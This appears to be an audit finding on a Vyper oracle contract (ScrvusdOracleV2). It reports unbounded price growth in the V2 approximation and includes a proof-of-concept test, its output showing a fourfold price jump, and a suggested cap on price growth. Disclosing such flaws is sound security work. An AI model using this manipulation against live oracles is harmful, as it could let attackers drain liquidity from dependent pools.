Summary
The V2 price approximation model in ScrvusdOracleV2.vy
allows unbounded price growth by simulating rewards over an excessive number of periods (max_v2_duration
). This can lead to unrealistic price increases if the profit_unlocking_rate
is manipulated, enabling attackers to artificially inflate the oracle price and destabilize dependent systems.
Vulnerability Details
The _obtain_price_params
function simulates rewards over up to max_v2_duration
periods (default: 192) without validating the total accumulated gain. A malicious prover can submit parameters with a high profit_unlocking_rate
, causing the price to grow exponentially over these periods.
If profit_unlocking_rate
or max_v2_duration
is set too high, the loop calculates exponential growth, leading to unrealistic prices.
Add this function to tests/scrvusd/oracle/unitary/test_v2.py:
def test_unbounded_price_growth_v2_approximation(soracle, verifier, admin):
"""
Test to demonstrate the vulnerability where price can grow unboundedly
in V2 approximation due to lack of total gain validation.
"""
ts_initial = boa.env.evm.patch.timestamp
block_num = 100
with boa.env.prank(admin):
soracle.set_max_v2_duration(48)
initial_params = [
10000,
0,
10000,
ts_initial + 30 * 86400,
10**10,
ts_initial,
0,
]
with boa.env.prank(verifier):
soracle.update_price(initial_params, ts_initial, block_num)
initial_price = soracle.raw_price()
print(f"Initial price: {initial_price}")
profit_max_unlock_time = soracle.profit_max_unlock_time()
boa.env.time_travel(profit_max_unlock_time // 4)
ts1 = boa.env.evm.patch.timestamp
update1_params = initial_params.copy()
update1_params[4] = 5 * 10**10
update1_params[5] = ts_initial
with boa.env.prank(verifier):
soracle.update_price(update1_params, ts1, block_num + 1)
price1 = soracle.raw_price()
print(f"Price after first update: {price1}")
time_elapsed = ts1 - ts_initial
reasonable_growth_factor = 2.0
reasonable_max_price = initial_price * (1 + (reasonable_growth_factor - 1) * (time_elapsed / (365 * 86400)))
print(f"Time elapsed: {time_elapsed} seconds (about {time_elapsed/(24*3600):.2f} days)")
print(f"Initial price: {initial_price}")
print(f"Price after update: {price1}")
print(f"Growth factor: {price1 / initial_price}x")
print(f"Reasonable max price: {reasonable_max_price}")
print(f"Reasonable growth factor: {reasonable_max_price / initial_price}x")
if price1 > reasonable_max_price * 2:
print("VULNERABILITY CONFIRMED: Price grows at an unreasonable rate")
print(f"Excess growth factor: {price1 / reasonable_max_price}x")
assert True, "Vulnerability demonstrated with extreme price growth"
else:
assert False, "Expected price to grow at an unreasonable rate due to unbounded gains"
POC Output Analysis: The test output confirms the issue:
tests/scrvusd/oracle/unitary/test_v2.py ....Initial price: 1000000000000000000
Price after first update: 4098360655737704918
Time elapsed: 151200 seconds (about 1.75 days)
Initial price: 1000000000000000000
Price after update: 4098360655737704918
Growth factor: 4.098360655737705x
Reasonable max price: 1.0047945205479452e+18
Reasonable growth factor: 1.0047945205479452x
VULNERABILITY CONFIRMED: Price grows at an unreasonable rate
Excess growth factor: 4.078804742588309x
Impact
Oracle Manipulation: Artificially inflated prices enable attackers to drain liquidity from stableswap pools.
System Collapse: Loss of trust in the oracle’s reliability could destabilize the entire ecosystem.
Tools Used
Recommendations
Add Gain Validation: Cap the total simulated gain in update_price
:
@external
def update_price(...):
# ...
new_price: uint256 = self._raw_price(_ts, _ts)
assert new_price <= self.last_prices[2] * 2, "Price growth exceeds 100%"